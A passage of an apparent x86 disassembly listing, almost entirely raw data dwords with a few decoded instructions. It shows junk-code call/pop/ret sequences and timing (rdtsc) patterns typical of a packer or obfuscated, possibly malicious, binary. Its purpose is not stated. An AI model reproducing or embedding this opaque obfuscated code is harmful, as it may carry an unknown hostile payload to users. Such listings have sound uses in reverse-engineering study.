6E64C850h, 0E41E4AE7h, 1A6CC071h dd 116C43EBh, 566597C9h, 0DF26721Fh, 37ADF3CAh, 431F0ADEh dd 79DA6E30h, 0CED35503h, 8CCF010Ch, 232945E9h, 0D5AE0DB0h dd 62EBE14Dh, 0D33D3785h, 28B00B7Ch, 6B8E844h, 0EEB7C2D6h dd 0D15602B0h, 0B12906DFh, 2B121EFh, 8B1183AEh, 0C9FE01B8h dd 75E06A5h, 2738D039h, 0E6D6481h, 8461A8ADh, 4B8E40DAh dd 8536A4AEh, 9CE64529h, 12BA51D4h, 0C5BF0DA7h, 38116850h dd 6A60CCA0h, 986236E3h, 0E390C255h, 0BE55238Fh, 90B4092h dd 0FD9CDD13h, 901B11A3h, 0F66E0AEFh, 0D6E51755h, 5CA6F29Fh dd 0DED47819h, 252FE9Bh, 0D11F50BCh, 29DFF2A1h, 5B7BA0FCh dd 2BA2A407h, 0F84AD08Eh, 0AEF7604h, 144CEF77h, 4AF867EEh dd 0AEF7672h, 9D315DC5h, 7A912AC3h, 0F8A8D078h, 8865Bh dd 0E6280000h, 0C560C370h, 0EB6DA508h, 5B929834h, 0DC1812BEh dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h dd 0CF000AA6h, 52E9822Eh, 0C281E289h, 4, 8704EA83h, 248B2414h dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 242C895Ch dd 252368h, 243C8900h, 8904EC83h, 4FBE2434h, 0BD69DB0Dh dd 6FCA0FB0h, 545EF529h, 81243C8Bh, 4C4h, 4EC8300h, 81242C89h dd 73402404h, 478F31D4h, 86F8108h, 31D47340h, 56243C8Bh dd 0C681E689h, 4, 4C681h, 34870000h, 2C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dw 0DD5Ah dd 0F6348099h, 94577D7h, 0AB77DD40h, 69AB871h, 0C50305EFh dd 0C8CBE0FFh, 0B00A118Eh, 50472367h, 0DD737A78h, 0DD6F22E6h dd 0A48250B2h, 6A15277Dh, 9CC44C42h, 888D1B3Fh, 0F4346EF5h dd 782D229Ch, 5FFF4952h, 1D75B50h, 68364B8Fh, 0F1EA4E27h dd 9BE0AC1h, 0D86B45B2h, 7BE179C5h, 0A69A6D35h, 858D7873h dd 5EA298Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 81C35747h, 0C7E413E9h, 90ED4EEBh, 75A3BB66h, 6A9050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0DE6A8FC3h, 3FBA4F56h, 607D5B54h, 2870Fh, 1CB20000h dd 61C68B66h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0AD262BC3h, 8FBFEF1Bh, 6A56F7F7h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 858DD126h, 5EF098Dh, 83FAB70Fh, 6A05C0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6FEAA1C3h, 0B4CB2093h, 0BD8BE862h, 5EA0C6Dh, 0E1BF6650h dd 24048963h, 6A006AF8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FF8C352h, 82h, 6A006A00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F8DCC351h, 23E995FFh, 0BD8B05EAh, 5EA1705h dd 0D89D8D8Dh, 0BD8905EDh, 5EA00E1h, 6AD1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7D40E9C3h dd 0F8FAD612h, 885BD03h, 0BD8305EAh, 5EA02D1h, 87850F01h dd 0F8000000h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 23C0CCC3h, 0EA2C499Dh, 14E85005h dd 2D000000h, 5E9C3018h, 20A02002h, 0B8E8159Eh, 9F975DA3h dd 50B6F9F4h, 0F525052h, 0F585A31h, 5B585A31h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 421FC355h, 66676AFEh, 0B333CF81h, 1E45BD31h dd 95FF05EAh, 5EA163Dh, 2E4D9501h, 87E905EAh, 0E800000Eh dd 0 dd 97ED815Dh, 3105EF09h, 0EA0FD1BDh, 8CBB6605h, 87858D4Eh dd 0F05EDC3h, 88h, 66609000h, 605B27BAh, 310F5250h, 12E9585Ah dd 72000000h, 0E9871161h, 0AA6FCBE9h, 85D9A96h, 64F3601Ah dd 506161F5h, 0BD794FBFh, 0FF649075h, 35h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0DF3DB6C3h, 0A23CE381h, 89640C81h, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0DE853A8h, 96000000h, 0A1A2A58h, 0F794A210h, 793D40A9h dd 6B55BB66h, 81665B5Fh, 0FF92B7DFh, 0EA1C4985h, 0DE805h dd 2A020000h, 0A8BE291Ch, 0C2131F23h, 603FDDB8h, 0A8DBD89h dd 8E0F05EAh, 0 dd 0FF6A5B61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 9AC35141h, 0D38166CEh, 0B5FF0A45h, 5EA0E95h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 65C35040h, 152E5705h dd 122DBD8Bh, 95FF05EAh, 5EA1449h, 129E9h, 0D781F900h dd 7ACC3211h, 816600B0h, 0E6C69ECFh, 5E970h, 0A5FC0000h dd 0E43CB1C6h, 4D8D0171h, 3C05EA0Bh, 0FF830F61h, 89000000h dd 0EA2EA595h, 0C8B60F05h, 1E899D2Bh, 0BAF805EAh, 6, 1E6D8501h dd 0C18B05EAh, 9583BB66h, 8904E8C1h, 0EA1CED85h, 81666005h dd 0E943FAC1h, 11h, 24A1B4E0h, 66BBC41Bh, 109FD304h, 8643DE21h dd 0F76661AFh, 2BD88BE2h, 0EE9C8h, 417E0000h, 0D339A5B1h dd 0A3C76CE2h, 0E93BDCE2h, 97E9D18Bh, 66000000h, 8BAEBABBh dd 485h, 18F0F00h, 0F8000000h, 83F88B66h, 0DE907C0h, 74000000h dd 300698C1h, 0CA8C92FAh, 0E8DDA338h, 6600C083h, 3B8BFFBFh dd 0D830FD0h, 89000000h, 0EA2E6D95h, 54E905h, 0FB8B0000h dd 0FFFF8D8Bh, 6057FFFFh, 0E9BCDE80h, 10h, 45899E6Ch, 86A754EBh dd 65460E1Bh, 88CAFCAFh, 0E1835F61h, 27840F01h, 66000000h dd 0A583FB8Bh, 0FFFFFFFFh, 98D31FEh, 8905EA11h, 495h, 11B58900h dd 8B05EA10h, 0EA12B9BDh, 0E905h, 0B58D0000h, 5EE8279h dd 0DDB52952h, 5F05EA16h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C06C35C3h, 0AE9h, 63052900h dd 0A1A39C03h, 0FF4A1739h, 0EA101595h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6C2DFBB2h, 895260D8h, 0EA05B585h, 0B9615805h, 10CEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BC35141h dd 7E036562h, 1EBD8589h, 8D8905EAh, 5EA232Dh, 6AFCE183h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 3A39C350h, 0DE90Bh, 0AB500000h, 0CF6DB88h dd 0BDA0F35Ch, 893E312Bh, 0EA19DDBDh, 6AFC05h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0DE0F42C3h, 5E92EA1h, 0B0000000h, 2F9E1AA6h, 6810Fh dd 0D7810000h, 30BA335Ah, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B70FE280h dd 0DD9D8BFBh, 0BA05EA0Fh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1AC35646h dd 0F343835h, 680h, 599D8B00h, 0E905EA03h, 0Fh, 23E32F09h dd 6F34B768h, 0EE8650BDh, 0AD6547DCh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0AF50C355h, 6A5EC271h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0C925C351h, 0C9C4912Ah, 0DE8BEA6Bh, 880Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 45B2B821h, 0BD858906h, 105EA0Bh, 0EA309995h, 0DD958B05h dd 6A05EA0Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 3212C356h, 82D9589h, 858905EAh dd 5EA14BDh, 0ACD8D8Bh, 50F905EAh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 4588E52Eh dd 0F571764h, 835BFABFh, 0EA0819BDh, 840F0005h, 62h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 56C35343h, 0B529A607h dd 5EA19FDh, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 44CCDB8Eh, 0A99D29E8h dd 0BF05EA2Eh, 33AE0BF9h, 4C218D8Dh, 0E1FF05EAh, 231D8589h dd 0BD8305EAh, 5EA25F5h, 2B840F00h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0D999C355h, 0F5BD839Dh, 105EA25h, 41B840Fh, 0DE90000h dd 0A6000000h, 5BC4BBF2h, 0A531400Dh, 0EEBB8CB9h, 25F5BD83h dd 0F0305EAh, 3C686h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0B52990EDh, 5EA2FF9h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 1767735Fh, 22840Fh, 9E80000h, 81000000h dd 9EC3A50h, 74D48079h, 0EE9h, 2F16C700h, 0DBCAC1B6h, 167B6B88h dd 5F17F8BBh, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 22CCC353h, 3BD485A9h dd 98F0E1A1h, 80F88B66h, 0BF6604E1h, 0C90A68F8h, 0DC840Fh dd 858B0000h, 5EA1629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0B3C35545h, 0B59D8BF2h, 3305EA30h, 0EA153585h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0A3677F54h, 2A78DA42h, 840F4CBAh, 6, 6A1BD8Bh dd 665005EAh, 8902F6BBh, 81662404h, 6AA2EBD3h, 9852900h dd 0F05EA13h, 0D668D9B7h, 0E9FA8E26h, 5, 3F0868FEh, 24048192h dd 590DD29h, 7898D89h, 9D8B05EAh, 5EA0B91h, 320D95FFh dd 3CBB05EAh, 0F520B1Ah, 68Eh, 25BD8900h, 8905EA00h, 0EDD9E085h dd 13E905h, 487C0000h, 6A71C75Ah, 19363440h, 9200F079h dd 16A8DBAAh, 219E9BAh, 8E0F0000h, 2, 858BD98Bh, 5EDD9D8h dd 9498589h, 0C705EAh, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0D8C35747h, 0D9E24EC6h, 12E990h, 0E0A30000h dd 0C30358B5h, 0DB2C7E8Ah, 493A07DAh, 0DFEEDBE0h, 0EE860h dd 89EF0000h, 16ED5B64h, 7E4D3EB5h, 2FC3D68Dh, 1B358D89h dd 0E95F05EAh, 10h, 4C5302C3h, 28011E92h, 8ECB42BAh, 16EF90E4h dd 0DCB58B61h, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0A751C351h, 2E43063Dh dd 5E9E9h, 80250000h, 0E802BCC0h, 0Fh, 3312889Ch, 88F68F53h dd 0E2820ABCh, 0F3D5F85h, 287h, 5B5F5300h, 29E5858Bh, 850F05EAh dd 3, 89DABF0Fh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 45466EAEh, 8F0FD652h dd 5, 0C450C8BBh, 29858B53h, 6A05EA16h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 62A8C357h dd 9EBB5C54h, 0BB66F51Eh, 9D2921FBh, 5EA3199h, 9044689h dd 0EA0C618Dh, 0EDBB5005h, 893EFC13h, 6A2434h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B5FF82C3h, 5EDD9D8h, 0E068DA8Bh, 50B4F398h, 66525052h dd 310FD88Bh, 585A5B53h, 0BB66310Fh, 585A0612h, 1F240481h dd 6A4B2B6Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 3579C357h, 23CB8DE5h, 8D837FD0h dd 0EDD9E085h, 52505005h, 0B7616060h, 310F6124h, 5ADF8B66h dd 24048958h, 14E9h, 46E21D00h, 80DA7AC1h, 4F8DA1AFh, 46EF406Bh dd 0A0A40774h, 0FF89B304h, 0EA320D95h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 819D890Bh, 6105EA29h, 1C259D31h, 85C705EAh, 5EA25F5h dd 3, 0D9E0BD83h, 0F0005EDh, 1684h, 0C9BD8B00h, 5005EA2Bh dd 167BD381h, 0E95F171Eh, 1Eh, 50FA8B66h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 86E823C3h dd 7C2D4B36h, 5EBF6611h, 0FFB8BA4h, 0C8Ah, 6860F00h, 31000000h dd 0EA2E158Dh, 0F5BD8305h, 305EA25h, 438850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 56B9AFC3h, 5012BB66h, 0D9E0BD83h, 0F0005EDh, 40984h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0CF28DCA9h, 126CBB66h, 0D9E0B5FFh, 858905EDh dd 5EA291Dh, 128D95FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 7EC857C3h, 89C2B5C2h dd 0EA01498Dh, 0D8D0905h, 8B05EA2Fh, 0EDD9D4B5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 337B3676h, 7C1DA9EAh, 9FBBC5E1h, 894D3057h, 0EA2D1D9Dh dd 399D3305h, 0C705EA0Fh, 1000106h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5F9F683Bh dd 55DA7197h, 9D235275h, 5EA255Dh, 6810Fh, 0B5890000h dd 5EA3011h, 0D0BF6650h, 243489E6h, 898D0160h, 6605EA0Dh dd 0F2AFEF81h, 0E0B5FF61h, 6A05EDD9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CB99C352h dd 0D9B529BFh, 0FF05EA0Ch, 0EA326995h, 800F5605h, 6, 0ACA8D781h dd 8B5F14E7h, 0EDD9D4B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 47105587h dd 3AE37819h, 1DF9BD8Bh, 858B05EAh, 5EA0881h, 80C78051h dd 0C486895Fh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0EB8FC351h, 65509256h dd 258D89C9h, 8B05EA14h, 0EA0ADD95h, 0C9958905h, 8305EA0Ch dd 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 5FB17BC3h, 0AFD78166h, 0EF33BBDBh, 665155ECh dd 5B79FBBFh, 66205089h, 858DD88Bh, 5EDEB67h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 17C35242h, 0B88689h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 6A03DBC3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B408D7F1h, 0FFFDB109h dd 0EDD9E0B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0E22AF003h, 163D95FFh dd 816605EAh, 50BC2BD3h, 13E85657h, 0FF000000h, 269908Eh dd 74895F71h, 0C2988D60h, 9DDCEC3Fh, 5B5F8442h, 2434895Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5DC35343h dd 0F6688C38h, 1D9D33h, 0B5FF05EAh, 5EDD9E0h, 159BD8Bh dd 9D2905EAh, 5EA2F29h, 15A995FFh, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 1BE83EC3h dd 9A12F958h, 6840Fh, 8D090000h, 5EA0D19h, 13E9F8h, 1660000h dd 98757BA0h, 0C71FF75Ah, 2740F37Ch, 836E95B5h, 5DBD83EEh dd 5EA11h, 0D840Fh, 8B660000h, 348950F9h, 65858924h, 0FF05EA11h dd 0EDD9E0B5h, 0F5BD2B05h, 0F05EA32h, 683h, 719D3300h dd 0FF05EA08h, 0EA1CC995h, 0F9BF0F05h, 0B5FFD88Ah, 5EDD9E0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A2C35545h dd 0C6C8CF36h, 0FFFBB70Fh, 0EA230D95h, 0C830F05h, 0F000000h dd 68Fh, 0B19D0300h, 8305EA05h, 0EA0631BDh, 840F0205h dd 2Dh, 2A319D33h, 858B05EAh, 5EA0C95h, 18E78166h, 0C635h dd 14E9h, 6838600h, 0A959EFB9h, 76994B62h, 94FEE49Ch, 0BDE99A3h dd 7D85C7ACh, 5EA09h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 9F21C357h, 9B3D5A9Eh dd 0F948318Dh, 50FABF0Fh, 25347CBFh, 0ABE95B67h, 6AFFFFF2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0C1E9C357h, 317B9C3Bh, 0D530A76Eh, 1659BD31h dd 0C18B05EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0F2C35646h, 1D9D9D01h, 858D05EAh, 5EA298Dh, 24048950h dd 875BD8Bh, 6A05EAh, 690DDF81h, 6A2400h, 858DD88Ah, 5EF19C0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0AFC35242h dd 0B4D3CB5Dh, 0BD8BB56Ah, 5EA2535h, 6605C083h, 50B04ABFh dd 0C608BB66h, 66240489h, 6AC359BFh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 1E008CD0h dd 0DF8B66A7h, 5DF731BFh, 6A006A3Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2201C356h dd 8B16534Ch, 0EA30F1BDh, 0F58D0105h, 0FF05EA1Ch, 0EA23E995h dd 69BD8905h, 6605EA1Ch, 8D8DF98Bh, 5EDD89Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A6C35242h, 0E0DB6259h dd 0FF31727Dh, 0A202BFD1h, 0BD8370B1h, 5EA02D1h, 0A6850F01h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 9C1DC357h, 0E8597CB5h, 0E960056Ch dd 0Fh, 0E3167360h, 97B14B8h, 3AEC9DEEh, 606CB6C0h, 8859D89h dd 7E805EAh, 6F000000h, 847FBB2Bh, 615E2194h, 8587BB61h dd 26A0F87h, 9E890F5h, 0E9000000h, 2E1B6608h, 35253F51h dd 505FE8B3h, 6820F90h, 29000000h, 0EA0DA98Dh, 0FFBB6605h dd 3D95FF19h, 6A05EA16h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0B036C356h, 0A4918A7Ch dd 8B6606BAh, 0DC3E9FAh, 0E80000h, 5D000000h, 19CAED81h dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 7A2FAAC3h, 47BCF338h, 2CA9BD89h, 0B70F05EAh dd 50006AFAh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 890B0541h, 0EA24AD8Dh, 87858D05h, 6A05EDC3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 7C6DC352h, 0A828AFD1h, 5D9D297Dh, 8B05EA1Ah dd 0EA0D59BDh, 8B665005h, 240489D9h, 0D599D8Bh, 0BF0F05EAh dd 35FF64FFh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 22C35040h dd 0E5BB0F7Bh, 6476F307h, 2589h, 830F0000h, 0 dd 74C8BB66h, 1C4985FFh, 8E905EAh, 0D0000000h, 47DEA3Fh dd 6A593D60h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0B0F2ADC7h, 8F324078h, 0DE8B667Fh dd 0C71B5FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 90E28FC3h, 2D7474FDh, 4995FF3Fh dd 0E905EA14h, 0F1h, 1820Fh, 0B0F50000h, 0CF805100h, 0B5295BCEh dd 5EA25EDh, 666070E6h, 60786EBAh, 24B5B58Bh, 816605EAh dd 6173A6EEh, 8A71E461h, 0F613CD8h, 0BC83h, 9EEB8000h dd 51C8B60Fh, 30999D8Bh, 0BA5B05EAh, 6, 0A171BB66h, 0FCB3C18Bh dd 5304E8C1h, 0B919D8Bh, 665F05EAh, 0BD0BE2F7h, 5EA1A41h dd 89FCC82Bh, 0EA0F6995h, 0B3D18B05h, 7BE995h, 0BD8B0000h dd 5EA2AF1h, 4C44858Bh, 8D895F4Ch, 5EA1A09h, 8307C083h dd 0BD8B00C0h, 5EA0DE5h, 830FD03Bh, 1Dh, 50E9h, 6890F00h dd 8B000000h, 0EA0579BDh, 68D0F05h, 89000000h, 0EA13158Dh dd 0FF8D8B05h, 8BFFFFFFh, 0EA0AE19Dh, 1E18305h, 23840Fh dd 0B70F0000h, 0FFA583F9h, 0FEFFFFFFh, 0D358D31h, 958905EAh dd 5F4C4C44h, 0B5BD8957h, 5F05EA25h, 0E9h, 47B58D00h, 6A05EE93h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0D97AC350h, 5ED9C838h, 6A006AB5h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 5DE4C357h, 2B598589h, 95FF05EAh, 5EA1015h, 13A99D8Bh dd 9EB905EAh, 66000010h, 832C3CBBh, 6AFCE1h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 47671C3h dd 89713063h, 0EA131D85h, 8D09FC05h, 5EA0A71h, 0BECB8166h dd 6AC02B0Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 7F0EC353h, 0DAD63271h, 2B360034h dd 85BB66D2h, 0C233AD8Dh, 0D003E8D1h, 7504E983h, 56006AF4h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 5B4B4h, 0F3BEC291h, 66D8B70Fh, 6ADE8Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 96B57EC3h dd 0A82E8053h, 0D5BD89F3h, 8905EA28h, 0EA078995h, 880D05h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0ACDDFFC3h, 0E187D913h, 14E95Eh, 56B40000h dd 8BDE1955h, 9F683B7Dh, 0DA71975Fh, 66527555h, 958BE7CDh dd 5EA0ADDh, 8BD78B60h, 0EA0DD58Dh, 8D8B6105h, 5EA0ACDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A8C35343h dd 354BBE4Ah, 8BE0B88Fh, 0EA16B59Dh, 0C28B5005h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A4F1C353h dd 9BAE441Ah, 2E313BC4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 9CC35343h, 7764A5AAh, 31198D89h, 0BD8305EAh dd 5EA0819h, 69840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5B46C356h dd 0C19EB457h, 0FF1B362h, 0B8F8BFh, 0F000000h, 8D8DD8B7h dd 5EA4C21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 9DC35747h, 3EDF125Ch, 0F56ED37h, 487h, 38BB6600h dd 0E1FF5F1Eh, 0FA0ABF66h, 25F5BD83h, 0F0005EAh, 4B784h dd 6D858900h, 8305EA1Eh, 0EA25F5BDh, 840F0105h, 4BFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FAC35646h, 9D3CCA78h dd 80F24EBBh, 0F5BD8318h, 305EA25h, 457860Fh, 0BD890000h dd 5EA061Dh, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0BD0951F5h, 5EA1669h, 0D98C665Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 57C35242h dd 1DFEFF3Eh, 44830CEBh, 987EBBB1h, 0BF0F161Eh, 4E180DEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BDC35040h dd 0A58BA6D3h, 0C90A987Bh, 145840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 781626C3h dd 858B73F6h, 5EA1629h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 97C35646h, 0B296F2A3h, 8533F9A3h, 5EA1535h dd 296007B3h, 0EA0BE585h, 66506105h, 891B27BFh, 1EBF2404h dd 6A35EBCCh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 9AA588C5h, 19D230Ah, 6805EA12h, 7F0C94EEh dd 61605060h, 3481615Bh, 13971124h, 56006A7Fh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D6B88545h dd 880F4B80h, 4, 8D51BF66h, 14E9h, 0C54A0900h, 0FEEB1710h dd 0FAA8AF51h, 0A75C00DAh, 0EE0FD29Eh, 0FE98Bh, 0FC920000h dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 0D95FFABh, 6A05EA32h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 5582C357h, 0BD2BAF6Dh, 5EA2D1Dh, 0D9E08589h dd 958905EDh, 5EA11F5h, 1FBE9h, 9D8B5100h, 5EA1B85h, 9529605Fh dd 5EA19F9h, 8B61D88Bh, 0EDD9D885h, 6E905h, 0C3C10000h dd 0EF91D740h, 1800C7h, 0D7800000h, 0DCB58BE6h, 0FC05EDD9h dd 29E5858Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD8906C3h, 5EA1EA9h, 75D0D381h dd 68949D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0D9C35242h, 8A46F25h, 29858BDBh, 8905EA16h, 0EA0FED95h dd 4468905h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 6BC35747h, 12F17D59h, 13E850h, 85460000h, 0B04D103Bh dd 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h, 0F98B662Eh, 2434895Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EFC35545h dd 24EB35DFh, 0BBC07615h, 8F24DD3h, 0D9D8B5FFh, 6A05EDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 10A3FDC3h, 41DD92A5h, 9D8B5716h, 5EA2D71h, 0BB66525Bh dd 685F1FC9h, 0B8538299h, 5800Fh, 77BB0000h, 814F8C0Bh dd 81662404h, 0D78047CBh, 0E0858DABh, 6A05EDD9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4596C350h, 2C5EDEE2h, 6090CEBBh, 0D65BBE66h, 8C0F5250h dd 0 dd 8D0F310Fh, 0 dd 5061585Ah, 10E8h, 44EFEE00h, 3DC619EDh, 9A18572Fh, 